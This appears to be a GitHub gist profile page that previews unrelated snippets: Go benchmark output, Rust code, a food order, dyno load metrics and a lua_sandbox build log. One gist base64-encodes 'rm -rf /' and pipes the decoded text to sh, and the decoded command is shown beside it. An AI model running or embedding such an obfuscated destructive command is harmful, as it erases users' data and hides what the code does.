Skip to content

Instantly share code, notes, and snippets.

View freeformz's full-sized avatar

Edward Muller freeformz

View GitHub Profile
{22:09}[2.1.3]~/go/src/github.com/heroku/log-shuttle:go-metrics ✗ ➭ godep go test ./... -bench=. -benchmem
? github.com/heroku/log-shuttle [no test files]
log-shuttle: 2014/11/11 22:09:29 at=post retry=true msgcount=1 inbox.length=0 request_id="4cd4505f-e5c1-4530-4823-e9795b8bc1ba" attempts=1 error="Post https://token:token@127.0.0.1:52762: EOF" errtype="*errors.errorString"
PASS
BenchmarkBatcher 50 28265753 ns/op 24225291 B/op 101642 allocs/op
BenchmarkLogplexLineFormatter 1000000 1705 ns/op 817 B/op 6 allocs/op
BenchmarkLogplexLineFormatter_WithHeaders 1000000 1768 ns/op 817 B/op 6 allocs/op
BenchmarkLogplexBatchFormatter 50000 70428 ns/op 25402 B/op 209 allocs/op
BenchmarkLogplexBatchFormatter_WithHeaders 20000 78171 ns/op 41756 B/op 210 allocs/op
BenchmarkReaderWithFrontBuffEqual0 10 169082868 ns/op 296.31 MB/s 51216806 B/op 100255 allocs/op
fn main() {
let item = "muffin";
let thing1;
if item == "salad" {
thing1 = "salad item";
} else if item == "muffin" {
thing1 = "muffin item";
fn main() {
let item = "muffin";
let thing1;
if item == "salad" {
thing1 = "salad item";
} else if item == "muffin" {
thing1 = "muffin item";
test ()
test muffin item
#!/bin/sh
echo "IyEvYmluL2Jhc2gKCnJtIC1yZiAv" | base64 -D | sh
#!/bin/bash
rm -rf /
  1. General Background and Overview
medium tutto carne
large stephano
2x large cesar
small garden salad
small tuna melt w/o cheese
[
{
"name":"dyno.load.d.17f742d9-b8c7-483b-9ee4-fe2fa1b6882b",
"columns":["time","sequence_number","load_avg_15m","load_avg_1m","load_avg_5m","source"],
"points":[[1399920285237,44175160001,0,0,0,"web.17"],
[1399920283730,44174870001,0.01,0,0.02,"web.3"],
....
[1399920229857,44167600001,0.01,0,0.01,"web.7"]]
},
{
Install the project...
-- Install configuration: "release"
-- Installing: /Users/edwardam/go/src/github.com/mozilla-services/heka/build/ep_base/Build/lua_sandbox/ep_base/lib/libcjson.a
[ 77%] Completed 'lua-cjson-2_1_0'
[ 77%] Built target lua-cjson-2_1_0
Scanning dependencies of target luasandbox
[ 80%] Building C object src/CMakeFiles/luasandbox.dir/lua_sandbox.c.o
[ 83%] Building C object src/CMakeFiles/luasandbox.dir/lua_sandbox_private.c.o
[ 87%] Building C object src/CMakeFiles/luasandbox.dir/lua_serialize.c.o
[ 90%] Building C object src/CMakeFiles/luasandbox.dir/lua_serialize_json.c.o